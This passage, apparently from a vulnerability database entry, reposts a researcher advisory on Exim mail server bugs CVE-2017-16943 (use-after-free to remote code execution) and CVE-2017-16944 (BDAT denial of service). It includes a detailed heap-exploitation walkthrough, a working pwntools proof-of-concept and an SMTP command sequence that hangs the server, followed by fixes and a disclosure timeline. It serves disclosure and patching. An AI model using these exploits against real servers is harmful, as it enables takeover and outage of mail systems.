receive_msg`](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/receive.c#L1734) ``` if (smtp_input && !smtp_batched_input && !dkim_disable_verify) dkim_exim_verify_init(chunking_state <= CHUNKING_OFFERED); ``` * Call `store_getc` inside `bdat_getc` Then, we send a BDAT command without SIZE. Exim complains about the incorrect command and cuts the `current_block` with `store_get` in `string_printing`. ![](https://images.seebug.org/1513047870923) * Keep sending msg until extension and bug triggered In this way, while we keep sending huge messages, `current_block` gets freed after the extension. In the malloc.c of glibc (so called ptmalloc), system manages a linked list of freed memory chunks, which is called unsortbin. Freed chunks are put into unsortbin if it is not the last chunk on the heap. In step 2, `dkim_exim_verify_init` allocated chunks after `next->text`. Therefore, this chunk is put into unsortbin and the pointers of linked list are stored into the first 16 bytes of chunk (on x86-64). The location written is exactly `current_block->next`, and therefore `current_block->next` is overwritten to unsortbin inside `main_arena` of libc (linked list pointer `fd` points back to `unsortbin` if no other freed chunk exists). ![](https://images.seebug.org/1513047944423) * Keep sending msg for the next extension When the next extension occurs, `store_get` tries to cut from `main_arena`, which makes attackers able to overwrite all global variables below main_arena. * Overwrite global variables in libc * Finish sending message and trigger `free()` In the PoC, we simply modified `__free_hook` and ended the line. Exim calls `store_reset` to reset the buffer and calls `__free_hook` in `free()`. At this stage, we successfully controlled instruction pointer `$rip`. However, this is not enough for an RCE because the arguments are uncontrollable. As a result, we improved this PoC to modify both `__free_hook` and `_IO_2_1_stdout_`. We forged the vtable of stdout and set `__free_hook` to any call of `fflush(stdout)` inside exim. When the program calls fflush, it sets the first argument to stdout and jumps to a function pointer on the vtable of stdout. Hence, we can control both `$rip` and the content of first argument. We consulted past CVE exploits and decided to call `expand_string`, which executes command with `execv` if we set the first argument to `${run{cmd}}`, and finally we got our RCE. ![](https://images.seebug.org/1513048509425) ### Exploit for default configured exim When dkim is disabled, the PoC above fails because `current_block` is the last chunk on heap. This makes the system merge it into a big chunk called top chunk rather than unsortbin. The illustrations below describe the difference of heap layout: ![](https://images.seebug.org/1513048582448) ![](https://images.seebug.org/1513048597334) To avoid this, we need to make exim allocate and free some memories before we actually start our exploitation. Therefore, we add some steps between step 1 and step 2. After running out of `current_block`: * Use DATA command to send lots of data Send huge data, make the chunk big and extend many times. After several extension, it calls `store_get` to retrieve a bigger store and then releases the old one. This repeats many times if the data is long enough. Therefore, we have a big chunk in unsortbin. * End DATA transfer and start a new email Restart to send an email with BDAT command after the heap chunk is prepared. * Adjust `yield_length` again Send invalid command with an unprintable charater again to cut the `current_block`. Finally the heap layout is like: ![](https://images.seebug.org/1513048684721) And now we can go back to the step 2 at the beginning and create the same situation. When `next->text` is freed, it goes back to unsortbin and we are able to overwrite libc global variables again. The following is the PoC for default configured exim: ``` # CVE-2017-16943 PoC by meh at DEVCORE # pip install pwntools from pwn import * r = remote('localhost', 25) r.recvline() r.sendline("EHLO test") r.recvuntil("250 HELP") r.sendline("MAIL FROM:<>") r.recvline() r.sendline("RCPT TO:<[email protected]>") r.recvline() r.sendline('a'*0x1280+'\x7f') r.recvuntil('command') r.sendline('DATA') r.recvuntil('itself\r\n') r.sendline('b'*0x4000+':\r\n') r.sendline('.\r\n') r.sendline('.\r\n') r.recvline() r.sendline("MAIL FROM:<>") r.recvline() r.sendline("RCPT TO:<[email protected]>") r.recvline() r.sendline('a'*0x3480+'\x7f') r.recvuntil('command') r.sendline('BDAT 1') r.sendline(':BDAT \x7f') s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8) r.send(s+ ':\r\n') r.send('\n') r.interactive() ``` A demo of our exploit is as below. ![](https://images.seebug.org/1513048732244) Note that we have not found a way to leak memory address and therefore we use heap spray instead. It requires another information leakage vulnerability to overcome the PIE mitigation on x86-64. ### Incorrect BDAT data handling leads to DoS #### Vulnerability Analysis When receiving data with BDAT command, SMTP server should not consider a single dot `'.'` in a line to be the end of message. However, we found exim does in receive_msg when parsing header. Like the following output: ``` 220 devco.re ESMTP Exim 4.90devstart_213-7c6ec81-XX Mon, 27 Nov 2017 16:58:20 +0800 EHLO test 250-devco.re Hello root at test 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN LOGIN CRAM-MD5 250-CHUNKING 250-STARTTLS 250-PRDR 250 HELP MAIL FROM:<[email protected]> 250 OK RCPT TO:<[email protected]> 250 Accepted BDAT 10 . 250- 10 byte chunk, total 0 250 OK id=1eJFGW-000CB0-1R ``` As we mentioned before, exim uses function pointers to switch input source. This bug makes exim go into an incorrect state because the function pointer `receive_getc` is not reset. If the next command is also a BDAT, `receive_getc` and `lwr_receive_getc` become the same and an infinite loop occurs inside `bdat_getc`. Program crashes due to stack exhaustion. [`smtp_in.c: 546 bdat_getc`](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/smtp_in.c#L546) ``` if (chunking_data_left > 0) return lwr_receive_getc(chunking_data_left--); ``` This is not enough to pose a threat because exim runs a fork server. After a further analysis, we made exim go into an infinite loop without crashing, using the following commands. ``` # CVE-2017-16944 PoC by meh at DEVCORE EHLO localhost MAIL FROM:<[email protected]> RCPT TO:<[email protected]> BDAT 100 . MAIL FROM:<[email protected]> RCPT TO:<[email protected]> BDAT 0 LAST ``` This makes attackers able to launch a resource based DoS attack and then force the whole server down. ### Fix * Turn off Chunking option in config file: ``` chunking_advertise_hosts = ``` * Update to 4.89.1 version * Patch of CVE-2017-16943 released [here](https://git.exim.org/exim.git/commitdiff/4090d62a4b25782129cc1643596dc2f6e8f63bde) * Patch of CVE-2017-16944 released [here](https://git.exim.org/exim.git/commitdiff/178ecb70987f024f0e775d87c2f8b2cf587dd542) ### Timeline * 23 November, 2017 09:40 Report to Exim Bugzilla * 25 November, 2017 16:27 CVE-2017-16943 Patch released * 28 November, 2017 16:27 CVE-2017-16944 Patch released * 3 December, 2017 13:15 Send an advisory release notification to Exim and wait for reply until now ### Remarks While we were trying to report these bugs to exim, we could not find any method for security report. Therefore, we followed the link on the official site for bug report and found the security option. Unexpectedly, the Bugzilla posts all bugs publicly and therefore the PoC was leaked. Exim team responded rapidly and improved their security report process by adding a notification for security reports in reaction to this. id SSV:96896 last seen 2017-12-25 modified 2017-11-28 published 2017-11-28 reporter Root source https://www.seebug.org/vuldb/ssvid-96896 title Exim Use-After-Free(CVE-2017-16943)
The Hacker News
id | THN:EE92331B07B64A7332ABABDA5C30ACC1 |
last seen | 2018-01-27 |
modified | 2017-11-27 |
published | 2017-11-26 |
reporter | Mohit Kumar |
source | https://thehackernews.com/2017/11/exim-internet-mailer-flaws.html |
title | Exim Internet Mailer Found Vulnerable to RCE And DoS Bugs; Patch Now |
References
- http://openwall.com/lists/oss-security/2017/11/25/1
- http://openwall.com/lists/oss-security/2017/11/25/1
- http://openwall.com/lists/oss-security/2017/11/25/2
- http://openwall.com/lists/oss-security/2017/11/25/2
- http://openwall.com/lists/oss-security/2017/11/25/3
- http://openwall.com/lists/oss-security/2017/11/25/3
- http://www.openwall.com/lists/oss-security/2021/05/04/7
- http://www.openwall.com/lists/oss-security/2021/05/04/7
- http://www.securitytracker.com/id/1039872
- http://www.securitytracker.com/id/1039872
- https://bugs.exim.org/show_bug.cgi?id=2199
- https://bugs.exim.org/show_bug.cgi?id=2199
- https://git.exim.org/exim.git/commit/4090d62a4b25782129cc1643596dc2f6e8f63bde
- https://git.exim.org/exim.git/commit/4090d62a4b25782129cc1643596dc2f6e8f63bde
- https://git.exim.org/exim.git/commitdiff/4e6ae6235c68de243b1c2419027472d7659aa2b4
- https://git.exim.org/exim.git/commitdiff/4e6ae6235c68de243b1c2419027472d7659aa2b4
- https://github.com/LetUsFsck/PoC-Exploit-Mirror/tree/master/CVE-2017-16944
- https://github.com/LetUsFsck/PoC-Exploit-Mirror/tree/master/CVE-2017-16944
- https://lists.exim.org/lurker/message/20171125.034842.d1d75cac.en.html
- https://lists.exim.org/lurker/message/20171125.034842.d1d75cac.en.html
- https://www.debian.org/security/2017/dsa-4053
- https://www.debian.org/security/2017/dsa-4053